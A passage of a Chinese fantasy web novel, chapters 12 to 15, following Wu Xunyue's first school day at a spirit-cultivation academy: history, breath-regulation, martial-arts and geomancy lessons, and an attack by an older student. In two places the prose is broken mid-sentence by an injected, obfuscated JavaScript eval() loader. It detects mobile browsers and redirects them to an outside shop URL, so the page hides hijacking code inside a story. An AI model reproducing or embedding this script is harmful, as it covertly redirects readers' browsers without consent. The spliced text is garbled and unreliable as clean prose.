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迟安瑜倒是为她的泰然处之所钦佩,也轻轻点了头。 辰时四刻的撞钟响起,屋里已经坐满,梅见蹊一挥衣袖,门便合上了,惊起全场高呼:“哇——”“这也太厉害了吧……”“不愧为梅家世子啊……” 梅见蹊摆摆手,待屋里落静,他问:“想学吗?”众人点头,他又说:“想变成我这样?”众人再强烈点头。他再说:“可你们知道,在我那届之中,我居于何处吗?” 场下全神贯注,梅见蹊接着说:“我十一岁入学时六重灵,六重灵者唯我一人。” 台下一片“哇”声,还未起浪,便被梅见蹊打住了:“先别哇,我再接着说——我十四岁九重灵,十七岁入真灵境,那在这之后,我用了多久升隐灵境呢——五年,二十二岁成隐灵。” 梅见蹊走出讲台,在学生间踱步,仍是漫不经心:“我今年二十五,依旧是隐灵,自觉升破灵境遥遥无期,没有眉目,但无论如何,我定然会升破灵境,接着还会入封灵境……你们可知为何?” 一众十来岁的孩子皆是摇头,巫寻月听懂了却不作声,唯有迟安瑜接了话:“因为你姓梅。” “哎,对嘛!”梅见蹊隔空冲迟安瑜抛眼色,扇子一开,越发不正经,“因为我姓梅,五大宗族之一,我爹是你们校长,我能有今日如此,已经是你们校长集合所有资源培养我的结果了,因为我是梅家下一任家主,我必须得封灵——说完了,你们不用再猜了,自己掂量掂量啊。” 全场一片面面相觑,大多数人皆是困顿,一位十三岁的女孩怯怯地发了声:“老师,你的意思是,你的修炼进度是我们都做不到的,是吗?” “真聪明,”梅见蹊冲她比了个大拇指,“我见过太多一上来就问我毕业能不能到真灵境的学生,也有太多人问我自己何时能到封灵境——我拜托你们啊,我都只是个隐灵,我就这么说吧,毕业即真灵者,我那一届就我一个。” 有十一岁男孩忿忿不平:“可终究,还是有修炼进度高于你之人。” 梅见蹊一个转身看过去:“你是想说司城家世子吧?的确,我四年级时那厮入学,灵族史上罕见的十一岁七重灵啊!全校的目光从此不在我身上了,天才这词本是说我的,嘿,他一入学,也再也没人说我了——但你还敢想他?他是个疯子。” 梅见蹊背着双手,慢慢走回讲台:“与天才生于同一时代,是好事,也是坏事——这话你们现在不必明白,当然也绝不明白,不打紧,这话与你们大多数人都无关。” 又有人问:“那……究竟与谁有关呢?” 梅见蹊似有若无地往后瞟了一眼,但开口时却是满不在意:“最好与你们都无关。” 若有经天纬地之能,便要肩负全族命运,这又何尝是绝对的好事呢。 或许没有司城凛,梅见蹊就要做这个挑起重担的人,他不再能闲云野鹤,也不再能恣意妄为——他会变成现在的司城凛。 ——所以司城凛啊,还好有你在。 13. 第 13 章 梅见蹊上来一番看似云淡风轻之言,有人觉得是戏言,也有人明白了其用意。梅见蹊扇着扇子,依旧淡然:“知道你们现在听不懂,可我们神都学宫是学习灵术之地,学习灵术,成为灵师,是为我们灵族培养战士,本就不是什么美差,我爹批评过我,不要在新生第一堂课说这些,可我不听——因为灵族史本就是残酷的。” 巫寻月坐直了身子,知道他要开始授课了。 翻开《灵族史:上》第一页,巫寻月正式开始了神都学宫的第一课。 远古时期,东方长隐灵洲充满灵气,遍布凶猛灵兽,灵族人与灵兽相互猎食,长期处于你死我活之争。 为与灵兽抗衡,灵族人不断寻求修炼之法,其中的先驱发现可以运用遍布的灵气提升修为,最终修炼出了灵术,与灵兽抗衡。 修炼出灵术的人越来越多,而灵兽,也在与灵族千万年的斗争中,也不断地提升修为、不断进化,其中部分灵兽通过捕食灵族人并加以修炼,成功化成人形,进而引爆了灵兽与灵族之间矛盾升级。 灵族人中灵术最出众的人逐渐有意识组织起势力,团结起来对抗灵兽人,他们在各地被簇拥为统领,相继成立了十八支势力,多以各自出身地为番号,挂以令牌区分,被称为十八令。 学会灵术的灵队伍逐渐庞大,被称为灵师,在十八令灵师的带领下,长隐洲态势的天平逐渐倒向了灵族。 十八令统领着灵族人大杀四方,最终灵族取得胜利,将灵兽人赶到了西域蛮荒之地万墟风洲,灵兽人在万墟风洲世代居住下来,后被称为风族。 但因环境恶劣,加上世代仇怨,风族千万年来与长隐洲灵族的冲突不断,成为千万年不解的宿敌。 对外抵御外族侵袭,对内,灵族也在逐步建立起自己的社会制度。 十八令中的六位有识之士,主导起灵族的发展建设,开创了灵族社会制度,六人分别掌管人事户籍、灵术教育、灵器铸造、城建筑造、商贸流通、医疗救治,逐渐掌控了灵族社会,被称为六大宗族。 六大宗族都留有独门秘技,只传后人,没有收入灵术教学体系,这也是六大宗族能够稳固地位的原因所在。 而最开始带领十八令的十八人,也被称为灵宗,成为全灵族顶礼膜拜的始祖,灵族为他们建立起灵宗庙,千万年来视若神明,香火供奉。 经过六大宗族一致勘定,最终将远离万墟风洲与山海部洲的凌海城定为都城,改称神都,除了本就在此的凌海宗司城夫一脉,十七令皆搬迁到此,筑城修河,神都从此成为长隐洲的权力中心所在。 有了社会形态,便要产生议事中心,十八令改组成十一令,取缔各自番号,统一列以数字。 而余下七席则成立为天听阁,负责议定、调度和审判;负责十一令中除九、十令之外的座首、副座任免;负责十一令职责分工、协同调度;负责对犯罪灵师的逮捕令发布、审判。负责监察灵师的履职情况,定期听取述职。 十一令座首有二次复议权,六大宗族宗主有一票否决权。 “哇——”说到此处,教室里爆发出一片惊叫。 即便六大宗族的地位全灵族无人不知无人不晓,可涉及如此详细的政治权力,没上学的孩子们确实不易知道。 教室里的声音压不住了:“这也太帅了吧。”“一票否决权诶!”“那岂不是比大灵师厉害!大灵师都要听五大宗族的!” 代萱悄悄拉扯巫寻月,说:“寻月姐姐,大灵师不是最厉害的吗?为什么要听五大宗族的呢?” 巫寻月不知如何以她能理解的话解释,只好说:“那些大人物之间,自有他们的考量,不会轻易就用自己的权力的。” 梅见蹊摆了摆手让大家安静下来,接着说:“至于这其中的制衡之术,说了你们现在也不懂,等你们到高年级的时候,慢慢就能参悟一二了。” 有人提问:“老师!请问梅校长有没有用过一票否决权呢?” 梅见蹊跟答废话一样:“自然是用过。” “哇——为什么呀?” “天听阁事务繁琐,我就不展开了,等你们到七年级实习时,会有到天听阁旁听的机会。” 全场再次爆发欢呼:“哇——七年级就能去天听阁诶!” 此间插曲之后,梅见蹊继续讲课。 十一令与天听阁维持与守护灵族生存发展,千万年之中,经历风云变幻,势力纷争,家族兴衰,六大宗族中弥氏一族没落,变为五大宗族,狄家、空相家专精家族事务,也早已退出十一令席位。 只有司城家、桑家始终承袭十一令座首,分别执掌九部令、十部令。因为,司城家掌管武器、灵器铸造,桑家掌管医疗救治,此两者都与灵师的利益牢牢捆绑,不可分割。 这样的资源配置之下形成的社会关系,也就不可避免存在仗势欺人,但总体来说,灵师的职责始终是维护灵族安稳,六大宗族为灵族和灵师提供了完整的保障,支撑了长隐洲正常运作。 历史上曾有记载,一是负责护送供货的灵师因为贪财而向平民索要小费,但此时突然出现了灵爆异变之人,二是负责巡逻的灵师与平民产生口角,嚣张跋扈得理不饶人,却突然惊现祸乱灵兽,这两件事的结局,都是灵师挡在平民面前,为保护平民而战死。 因此,平民对灵师总体始终怀抱敬仰。 巳时四刻撞钟响起,该下课了。 可学生们的问题不断:“老师,六大宗族的弥家为什么没落了?他们去哪里了?” “老师,我们和风族是宿敌,那和人族是什么关系?为什么我们要驻军山海洲?” “老师,那我们和风族为什么有十年和平期、十年好战期?” 梅见蹊拿扇子敲了敲桌子,说:“你们的这些问题,在后续的课本里都会讲到,若是有兴趣,自可提前预习功课——下课!” 梅见蹊匆匆逃走,不留功课,头也不回。 教室里开始有人走动了,巫寻月还未回过神来。这第一节课所授,倒是与她作为平民所学习的灵族史相吻合,只是涉及灵师部分的更详尽了许多,涉及十一令与天听阁内部关系的,更是普通平民不会学习的内容。 下一节课是调息,需要换教室,代萱提醒道:“寻月姐姐,我们该走了。” “……喔,好。” 迟安瑜等巫寻月一道走,出了门,巫寻月主动问他:“安瑜,你在嶷雾城时,可有学到这些?” 迟安瑜说:“普通学堂自然是对灵师之事讲得不甚详细,但我从小立志学习灵术,便多找了些书看,知道得差不多,但终究还是梅老师所述更详细些。” 这倒是让巫寻月好奇了:“你从小便想定了要做灵师吗?” “是,嶷雾城乃中部大城市,往来高阶灵师众多,每次的驻城灵师也皆是高衔级者,家父是城中守备,我自然见得多些,也就心生向往。”迟安瑜谈吐很是谦虚有礼,“只是十一岁试灵时仍未开灵,十二岁才有一重灵,却是散灵,我勤加修炼,这才有了今年的四重灵。” “……三年时间,自己便能练成四重灵吗?” 迟安瑜轻轻一笑:“你还不知,一重到四重灵相对容易,往上若没有正规指导,再提升几无可能,所以四重灵是所有非世族子弟的天花板——你现在可明白,大家对于你七重灵有多震惊了吗?” “……的确如此,”巫寻月承认,“我原还想,若是按最低的十一岁一重灵入学,以七重灵的毕业标准,十五岁也该是五重灵,我七重灵听起来没有高太多,为何大家都觉得这很特别?” “即便是在校学生,从四重灵到七重灵也绝非易事,”迟安瑜告诉她,“我听之前我们嶷雾城的驻城灵师说,四重灵之后提升很难,需日夜不怠,且最好要在五年级结束前到六重灵,预留近两年的时间,才能赶在毕业大考前升七重灵——你如今已是七重,若毕业时升九重灵,便可为优秀毕业生了。” “优秀毕业生又能如何呢?” “——可自主选择想进的十一令,并留任本部,其他人则必须听从分配,而且都要先外派出去五年!”说话声来自一直跟在他们身后的漆婉婉,她说着便绕到他们身前,小脸仰着,十分骄傲:“一部令除外,一部令驻守神都,不必外出——可我不论是否为优秀毕业生,皆可进入一部令,因为我堂叔乃一令封座!” 漆婉婉说完,一蹦一跳地走了。 代萱在她身后使鬼脸,巫寻月安慰道:“没事,你都会用控术了,她还不会呢。” 迟安瑜也摇摇头:“若一部令皆为此辈中人,即便我不能自选,也得百般祈祷千万别进一部令了。” 巫寻月笑了起来:“说的是啊。” 调息的课室比历史课的临崖阁要大许多,众人间距加大,各自落座,不再能交头接耳。 教授调息的是一位年长些的女老师,体态丰腴,面光润泽,一看便是精通调理、气质饱满之相。上课后,她笑盈盈地介绍道:“我姓西,叫我西老师就好。听说这一届一班里有一重灵、四重灵、五重灵,甚至还有七重灵,好好好,正好可为大家展示不同灵力等级的调息方法。” 按照西老师的指示,四重灵以外的同学单独坐一边,巫寻月和其余几人一同起身,她抬眼一扫便有数了——除了代萱以外,起身的只有三人。也就是说,本班之中,四重灵二十五人,五重灵三人,一重灵与七重灵各一人。 巫寻月至此有了概念:世家子弟中的天资者多为四重灵,五重灵为上佳,每一届仅不到五人,若这几人最终都能在毕业时修成九重灵,那么算上她自己以及其他特别刻苦之人,优秀毕业生约莫会有十余人。 两边阵营相对,西老师站在中间,高声道:“我知道你们中有些人已在家中学过调息,但也须得和同学们一起从头开始打根基。调息乃学习灵术之根基,所有新生入学第一天必学调息,不可轻视——请问谁知道何为调息?” 有人举手,待允准后,照着书中答:“调息是认识体内灵力的第一步,未有调息之前,灵力在身体里野蛮生长,不受管控,学会调息,就是学会感受灵力,管理灵力,让灵力跟随灵师的意志,才能开始学习灵术。” “很好,”西老师冲那人一笑,接着说,“先说大家都感兴趣的话题——你们可知,升入封灵境需调息多久尚能恢复如常?” 果然,此言一出,所有人都伸长了脖子,摇着头等待回答。 西老师揭晓答案:“一般来说,升入封灵境需调息三至七周,身体才能与封灵级别的灵力相融。” “——啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674289|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟要这么久?” “怎会如此?调息竟如此重要?” “我还以为,调息不过就是一会儿的事……” 他们如此反应,全然在西老师意料之内,她和蔼地笑道:“每年的新生啊,都如同你们一般,所以我才要大家明白,调息有多重要。调息是伴随灵师一生之事,灵力越高,调息时间越久,你们所说的一会儿仅适用于现在,等以后你们升入高层灵力,便不是如此了。” 西老师转过身,朝这边招手:“代萱同学,你先过来。” 代萱起身过去,与西老师一同站在两边阵营中间。 西老师说:“现在,我便向同学们演示,一重灵的调息之法——你们务必仔细听,仔细看,这是所有人的必经之路,并非四五重灵便不需要。” 西老师多番强调,看来往届学生所犯错的人不少。 西老师开始指导代萱,代萱由于紧张,一开始没做对,经指教后才渐入佳境。 随着代萱调息成功,她的神情也变得自若了许多,西老师问:“代萱同学,现在感觉如何?” 代萱笑起来:“我从未觉得身体如此通畅,从未如此了解自己,就好像……好像完全知道我的灵力在什么位置。” 同学们交头接耳:“竟是这么神奇……” “很好,”西老师慈眉善目间多了分调皮,“现在,老师需要打乱你的灵力,你需要按照老师刚才所教重新调息——你可准备好了?” 代萱略有紧张,还是点了头。 西老师眼含笑意,欠身靠近她,手指在她额心轻轻一叩,她便浑身一颤,面露难受起来。 西老师厉声指导:“别紧张!别乱!定下神来,回想刚才老师怎么教的。” 代萱努力镇定下来,做出调息手势,竭力与灵力抗衡。慢慢地,她身体颤抖渐止,呼吸也顺畅了,终于能睁眼笑起来:“老师,我感觉好了!” 众人为她鼓掌起来。 “好,现在,所有人,按照刚才老师说的,先做第一步,”西老师开始踱步检查,“老师会根据你们的不同灵力,进一步教你们怎么做。” 巫寻月跟着所有人一起打坐,就见西老师朝她这边走来,绕到她身后,对她说:“寻月,你灵力过高,若是从基础之法调起,怕是会像当日测灵一样失控——老师现在施法将你的灵力压制在五重灵,你跟着五重灵的同学一起,等学会了,老师再教你七重灵的调息。” 巫寻月乖乖一笑:“好,谢谢老师。” 四重灵的同学进入调息状态之后,西老师开始指导五重灵调息。巫寻月跟着他们一起,按照指导一步步来。 玉文瑛的调息的确学得不错,教她的也如同西老师一般,只是她当日未料到巫寻月已有七重灵,变得适得其反了。 现下,巫寻月以五重灵之法调息,很快便进入了通达的状态。 这是一种她从未有过的美妙感觉,比吸食任何仙草都无与伦比。她脑海中仿佛生成了一张经络图,清楚地看见了灵力走向、汇聚之处,了解了自己的弱点和长处。 她常年在山谷中玩耍,攀山爬树,所以她腿部灵力尤为发达,其他部位也不太弱,总体来说较为均衡。 “嗯,腿部灵力强旺,是个学遁术的好苗子。”不知何时,西老师已来到她近身,细察后又说,“可我观你处处平稳,没有明显弱势,似是控制系之相……” 巫寻月一听,睁开双眼,按捺不住道:“老师,我适合学控制系吗?” “你想学控制系?可你不是通医术吗?” “……我只是问问。” 西老师笑了:“好,先不想这些,等把基础打好,到时再看看。” 所有人都顺利进入调息之后,有人喊道:“老师,我想看七重灵调息!” 大家纷纷呼应:“老师我也想看!”“我也是我也是!” 西老师摆了摆手,说:“今日你们的首要任务便是学会自我调息,一会老师会挨个打乱你们,你们要再试着恢复——想看七重灵?那是之后的事!” 调息课结束后便是午间了,同学们都赶着去吃饭,西老师将巫寻月喊住,独对她说:“下午课时结束后,你单独来找我,我想了想,压制你的灵力终不是解决之法,你始终还要同步学习武术和遁术,若不学习与之匹配的调息,便会阻碍你的学习进度。” 巫寻月一愣,感激涕零道:“谢谢西老师!您看我几点过来合适?” “吃了饭再过来,我都在,”西老师看着巫寻月又道谢,扶了扶她的肩,说,“只是这样会辛苦些……不过,你七重灵入学本就不凡,缺点是要多学习别人不学的东西,自然,优点也是可以学习别人学不了的东西。” 巫寻月忽然想问:“老师,请问,除了我以外,还有没有别的七重灵入学的人呢?” 这个问题很好答,毕竟史上无出其右,西老师笑言:“那便是司城家世子了,灵族史上绝无仅有的天才,十一岁以七重灵入学——自然,咱跟世子比不了。” 巫寻月有些无奈了:“老师,我到学校不到三日,每日听闻这位司城家世子都不下十次,司城家世子……究竟是什么样的人呀?” 西老师笑起来,感叹道:“司城家世子之惊世,没有一个词语足以形容……” 14. 第 14 章 午后第一堂课是武术,武术课教室也不设课桌,同学们围在四周,留出中间大片场地。 武术课老师是位三十多岁的男子,看起来一点也不亲切,也不怎么管纪律。他执棍进入教室,在大家还一片嘈乱时,便厉声开了口:“我是你们的武术课老师冷夷行,现在开始上课。” 说完了一会儿,教室里才稀稀拉拉地静下来,一些人回头问旁人刚才说了什么。 冷夷行于中央站定,背板很直,说话也如教科书上一般死板:“灵术体系分为两种,一种以白打与武器结合作为攻击,称为武术;一种以催动自身灵力生成实物或结合实物构成打击,称为控术。” 立刻就有人发问:“老师!什么叫做生成实物或结合实物……” 他话音未落,冷夷行就果断地说:“我不教控术,到时你自会知道——所谓白打,便是基础招式,而武器,是灵力汇聚的指向,学会运用灵力结合武器,才可使攻击实现最大化。” 又有人问:“可是老师,武器是什么武器?又如何获得?” 冷夷行睨了那人一眼,似乎对于被打断很不高兴。他接着说:“武术课会教会你们认识各种武器以及他们的使用方法,从而让你们选出最合适自己的,学校也有用于练习的各类基础武器,等你们水平到一定程度,觉得学校的武器不好用了,可以到神都城的武器店去挑自己趁手的武器——又或是为自己量身定做一个,那会贵一些。” 知道他不爱被插话,可大家还是好奇,便又问了:“定制武器,也是去各个武器店吗?” 这一次冷夷行倒没有不高兴——可能是不敢得罪话里的人:“跟店老板说要定制武器,做好登记,司城家的人会上门来为你测试。” ——又是司城家,灵师的世界里十句不离司城家,可真是不折不扣的灵师之首啊。 见他态度缓和,有人立刻问:“老师,既然武器这么厉害,那为什么不直接使用武器呢?” 那人吓得一愣,因为被冷夷行瞪了。冷夷行冷冷地道:“若武器损毁,你当如何?若到了无法使用灵力之地,武器失去灵识,你又当如何?” 这句话里信息量太大,大家都面面相觑,巫寻月也不自觉看向身旁的迟安瑜,他刚要作答,就听见冷夷行又说:“好了,这节课你们摸不到武器,想知道的自己下去看书,武术课从白打练起,现在——全体都站起来!” 武术课开始上课之后,大家这才明白,冷夷行手中那根棍,不是用来作示范的,是用来打他们的。 先是基本站姿,基本马步,基本手势……处处都要挑错挨打,虽然打得也不重,主在提醒,但总是冷不丁就要挨打。 实在有觉得委屈的同学,破罐子破摔,大哭起来:“我要回去告诉我爹!” 冷夷行面色未改,用棍直指他眉目,道:“等你爹打得过我再说吧。” 底下同学议论纷纷,巫寻月悄悄问迟安瑜:“冷老师是封号灵师吗?” 迟安瑜摇摇头,说:“按照明面上来说,他不是,可神都学宫卧虎藏龙,梅家也是高手如云,或许……我也不好说。” 这倒是让巫寻月好奇了:“成为封号灵师,一定要禀告天听阁吗?” 迟安瑜一笑:“那你应该这么说,飞升封灵境是否定要告知天听阁——是,因为天听阁能够监测到,禀报天听阁之后,才能称为封号灵师。” ——难道就没有不会被天听阁监测到的封灵境灵师吗?巫寻月想。 武术课结束之后,几乎没人身上是“干净”的,有女生哭着跑了,有男生骂骂咧咧,冷夷行丝毫不在意,闲闲地松着筋骨,准备下一堂课。 去下一个课室的路上,迟安瑜说:“你别看他们现在哭着喊着,可到了三年级,过半的人都会选强攻系的。” 巫寻月想起之前玉文瑛所言,说:“因为好毕业?” “对啊。” “那你会选医疗系吗?是不是更难?” 迟安瑜笑起来,说:“大概还得多烦劳你指点我了。” 巫寻月一怔——又是一个默认她会选医疗系的人。 今日最后一节课是堪舆,堪舆课教室很高,往上走一些便是校长处所了,再往上就到了学校顶端的观星台。同学们紧赶慢赶,才在上课前赶到了教室。 “所谓堪舆,囊括天文、地理,药理也有所涉略,是集各门学问之大成,”授课的满衡老师谈吐温平,在讲台上来回踱步,“学会堪舆,你们才能更好地运用灵力与周围环境相结合,生成最有利于你的打击方法——因此,堪舆是控术基础中的重中之重,想选控制系的同学,可要格外注意了。” 巫寻月要是只兔子,两只耳朵只怕已竖得直冲天顶。 从前在谷先生的课上,巫寻月只知长隐洲的地理概貌——往南是人族山海部洲,往西是风族万墟风洲,往北是冰封的极北之地,往东是神秘无垠的大海。神都离海不远,一条清灵江连接神都与南方,她的家乡邬戍城,便在西南的深山里。 而从这堂课起,巫寻月要踏入这片土地与灵力世界有关的一切了。 简单来说,堪舆就是要学会利用地形和环境优势。比如,若是尘土地质,用土攻术便为上佳;同时,土系的祸乱灵兽或异变灵师身处此种地质,战力也会增强,需得更小心应对。 “随着学习深入,修为提升,每个人体内的灵识会愈发觉醒,越来越清楚自己想要什么、适合什么元素,从而选出相适应的武器,生成相对应的控术。” 满衡一番理论下来,大家都听得云里雾里,她早料到一般,走到台前正中,道:“知道你们很难理解,来,都看老师——” 话音落下,满衡抬起右手,食指往上一指,于指尖生出了一团火焰。 台下爆出惊呼:“哇——是控术!” 满衡笑了笑,说:“没错,我是用火的控制系灵师,我大约是三年级开始发现自己用火用得最顺手,四年级开始有意加强学习御火之术,二十三岁升真灵境时的第一个必杀技,就是火攻。” 在场所有同学的眼睛都瞪圆了——即便是灵师家庭的孩子,也鲜少有人能看到父母在家中用必杀技。有人忍不住站起来,直喊:“老师!必杀技能展示给我们看看吗!” 此言一出,一呼百应,几乎所有人跟着喊:“是啊老师!给我们看看吧!” 气氛都到这了,满衡也不好拒绝,摆摆手说:“我这里不是控术教室,没有专门的防护灵器,是不允许使用必杀技作教学的,不过嘛……可以催动术式让你们看看。” “哇啊啊啊——”整个教室蠢蠢欲动,坐在后排的同学纷纷起立,有的直接跑到了前排。 巫寻月也不由得站了起来,屏住呼吸看着老师。 只见满衡缓缓走到课桌间走道上,立定而站,双臂缓缓展开之时,已带起阵阵灵震。起势之后,满老师右腿向后一退呈弓步,双臂大展之间,轰然生成熊熊烈火,欲要直扑前方。 同学们一遍害怕地退避,一边发出疯狂尖叫:“哇啊啊啊——天啊太厉害了!” 满衡操控着火焰,调转方向作势吓唬他们,激起欢笑阵阵。等大家尽兴了些,满衡便干脆地一收,火焰就此消失。 在全场惊叫之中,满衡摆手克制他们,笑道:“这还只是运灵,并未生成攻势,我断是不能在此用必杀技的,真灵级的必杀技已足够将这屋子毁了。” 这一次提问的人,是巫寻月,她比所有人看得都认真:“老师,什么是必杀技?” 满衡很乐意回答问题,说:“必杀技是升入高层灵境的标志,你们开灵测试时所用的测灵筒仅限于九重灵以下使用,到了九重之上,就要修炼自己的必杀技了。每一层灵境或有多个必杀技,这很好理解,你必杀技的威力上不去,说明灵力境界并未提升,那么无论再有多少个必杀技,也都不能代表已飞升。” 巫寻月又问:“那么,如何得知自己的必杀技威力是提升了,还是依旧是同等水平呢?” 满衡看向巫寻月,见她好学,颇是欢喜,耐心道:“灵术存在了千万年,体系已十分成熟,熟练灵术的人自是一看便知。但实在要说,有没有提升,最清楚的人是自己,灵力与自己灵魂同在,若真是飞升灵境,自己一定是最清楚的,就算骗得了别人,也骗不了自己。自然,我们灵师也有专业的测试方法,这些,都是等到你们大部分人工作之后才会接触到的了。” 其余同学灵力太微弱,或不能切实体会何为灵力与灵魂同在,但巫寻月可是深有体会的。开灵测试时她身体中的一切变化,她至今刻骨铭心,灵力一出,仿佛灵魂都被剥离一般。 见她若有所思,满衡缓缓走近她,对她说:“你若能在毕业前入真灵境,老师们自会知道,也会尽全力助你飞升,不必担心。” 在周身一片“哇”声之中,巫寻月羞赧地一笑:“谢谢老师。” 酉时到了,今日该放学了。 收拾东西离开时,巫寻月想起满衡方才提到灵器,心头一动,便想去试试。她走向讲台,颔首道:“老师。” 满衡抬头见她,满眼欢喜,主动说:“寻月,你灵力高,要多问多学,你要学的东西啊比同学们都多很多呢。” “好的,学生记下了,”巫寻月稍有犹豫,还是问出口,“老师,方才听您提到灵器,学生……想询问一种灵器。” “好啊,是什么?” “是一种生成结界的灵器,隔绝外界,灵师可以在里面练功,无论做什么都不会对现实世界造成破坏——哦对了,长得很小一只,像这样……” 看她比划完,满衡便笑答:“就是界凝珠,这灵器很常见,高阶灵师会买来练功用的,你现在还用不到,等到了高年级一些再买也不迟。” “……”竟这么常见吗,那就把她下一个问题堵上了——拥有这灵器的会是何人。 巫寻月抱着书本,偶然撞到心口的罡灵坠,她心头一动,立刻将罡灵坠从衣领间掏出,问:“老师,那你可知,这罡灵坠……为何物?” 巫寻月临时改了个问法。 满衡接过罡灵坠,仔细察看,若有所思道:“听起来像是辅助修炼的,我却从未见过,也不知用法……你从何处得来?” 巫寻月有些心虚,声音弱了些:“一位朋友送的,却未告知我用法。” “是吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674290|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你这朋友倒是有趣,不过这坠子制式精巧,连老师也不曾听说,你这朋友也是有心得很呐,”满衡见她一脸羞涩,心中有了猜想,便寻她开心,“你可去寻梅见蹊老师问问,他与司城家世子交好,想来见过诸多灵器。” 巫寻月心头一颤——还是绕不开梅见蹊。 她只得作答:“……好,谢谢老师。” 从堪舆课室出来,巫寻月记着之后还要去找西老师学调息的事,匆匆赶去食堂。 还未出几步,突然间,她察觉到不远处有异动急速靠近,但她根本无法作反应,一抬眼,一道闪击轰然冲她袭来,她被撞飞向后,一头栽倒在地。 脑子里嗡鸣作响,巫寻月只觉得世界一片空白,短暂没了意识。 周围几个路过的同学都停了下来,而在那攻击的来处,一位少女以瞬移闪现,俏丽的面庞上满是傲慢,开口时更是不屑:“想不到这七重灵,竟连掌心雷都躲不开。” 巫寻月瘫倒在地,意识还未恢复。下一秒,她看到眼前多了身眼熟的衣袍,素底青墨长衫挡住了她的视线,接着是梅见蹊严厉的声音:“——慕丹青!你在干什么!” 慕丹青见是梅见蹊,立刻紧张几分,但碍于这么多人看着,硬着头皮,理直气壮道:“我弟弟说他们班有位七重灵新生,我还当是什么天才,便来一试——掌心雷不过是初级控术,她竟也挡不住!” 梅见蹊快气死了,用扇子指着她,辞色俱厉:“你真是顽劣不堪,一会儿跟我去面见校长,这次定要把你父母请来!” “——啊?”慕丹青大惊失色,顾不得许多,一个转身,瞬移跑掉了。 梅见蹊顾不上她,转身将巫寻月扶起,见她神色苍白,他自己先被吓死了——这才开学第一天,万一有个好歹,他拿什么跟司城凛交代! 梅见蹊为她点了两个穴位,再为她稳灵,调息,很快,巫寻月恢复了意识,却仍是懵怔:“……梅老师?” 梅见蹊先问:“你感觉如何?” “倒是没事,也没怎么疼,就是有点晕。” 梅见蹊还是为她诊了脉,见她确实无事,这松了口气,但马虎不得:“你脉象如常,但受了惊吓,我带你去校医处看看。” 巫寻月终于意识如常,起身后问:“梅老师,刚才是怎么了?” 梅见蹊不瞒她:“刚才那女生叫慕丹青,与你同岁,五年级,性子泼辣得很。你班里同学慕学文是她弟弟,想来是听说你有七重灵,便冒昧前来想找你比试——不过,她未用太多灵力,不然以她七重灵的功力,你必不只如此。” 巫寻月捕捉到了关键:“五年级,七重灵?” “是,大约是因此,才想来找你这个七重灵比试。” “原来如此……” “你放心,我必会告知她家长,学校也会商定如何处罚。” 巫寻月笑了笑,倒是不好意思了:“没事的梅老师,她也是不知者不罪,且我也没伤到,若我真有实力,比试一番也无妨的。” 梅见蹊都不知道该怎么跟她解释自己急得头上冒烟:“……我只怕这种事再会发生,我也不是时时都能看顾你,此次必须杀鸡儆猴。” 巫寻月听出了哪里不对,她看定梅见蹊,问出口:“梅老师,我一直都还没机会问你……你,何故给我开推荐信?” 四目相对,梅见蹊不言。他先是随口胡诌:“各地会先报上来参加入学考试的名单,今年无论是神都或都外新生,你灵力皆是断层领先,我家爱才,给你写封推荐信也无妨。” 巫寻月好笑地扯了扯嘴角,看向一边。她不追问,不戳穿,他也装死,反正面上是过去了。 好一会儿,巫寻月从领口处扯出了罡灵坠,又问:“那梅老师,你可知这是何物?” 巫寻月看见,梅见蹊的眼睛明显瞪大——我靠,司城凛!这个你也给她! 既装死,便装到底。梅见蹊说:“我不知道。” 巫寻月有些生气了:“那若方便,老师可能帮我询问司城家世子?” 梅见蹊简直是汗流浃背,还好,他现在有了一个绝佳的借口:“他……现在不在神都,最近都不在——这我不是骗你,他要去戍边两年,没准明天就传遍全校了。” 巫寻月微怔,收了罡灵坠,垂眸道:“对不起梅老师,我不是怀疑你……” “没事没事,”梅见蹊现在只想摆脱她,却又想起来,“——我带你去看校医吧?” 巫寻月摇摇头,浅笑道:“我真的没事,不用了,西老师说放学后要单独教我调息,我还得赶去找她。” 梅见蹊一听,认真几分:“我倒是疏忽了,你独有七重灵,是该另行学习调息之法——你去吧,好好学。” “好,老师再见。” 与梅见蹊道别,巫寻月继续往山下走。她一心记挂着推荐信与罡灵坠的事,全然没将被慕丹青袭击之事放在心上。 ——梅见蹊在有意为那个人隐瞒。那个人拥有连满衡老师也未见过的灵器,身份定是不凡。 只可惜,她现在对灵师世界认知太少。是不是等到更了解的时候,她一眼便能拼成这碎片一般的信息了呢? 15. 第 15 章 开学第一天就这样过去了,有意外,有波折,也有更多收获。 一年级的课程一共七门,武术、堪舆、药理、遁术、驯兽、历史、调息,其中调息结课最早,武术、堪舆、药理是为三个专业方向的基础,排课最多,也最难;遁术、驯兽虽排课少些,却是消耗体力的课程。余下历史课,全当在这些繁重的学业中穿插放松了。 巫寻月对历史很感兴趣,刚开学老师没留什么作业,晚上回到宿舍,她就自己捧着历史课本继续往下读。 她始终带着疑问:灵族和人族究竟是什么关系?为什么要在山海洲驻军?风族世居资源贫瘠的万墟洲,又是如何发展为足以与灵族抗衡的力量? 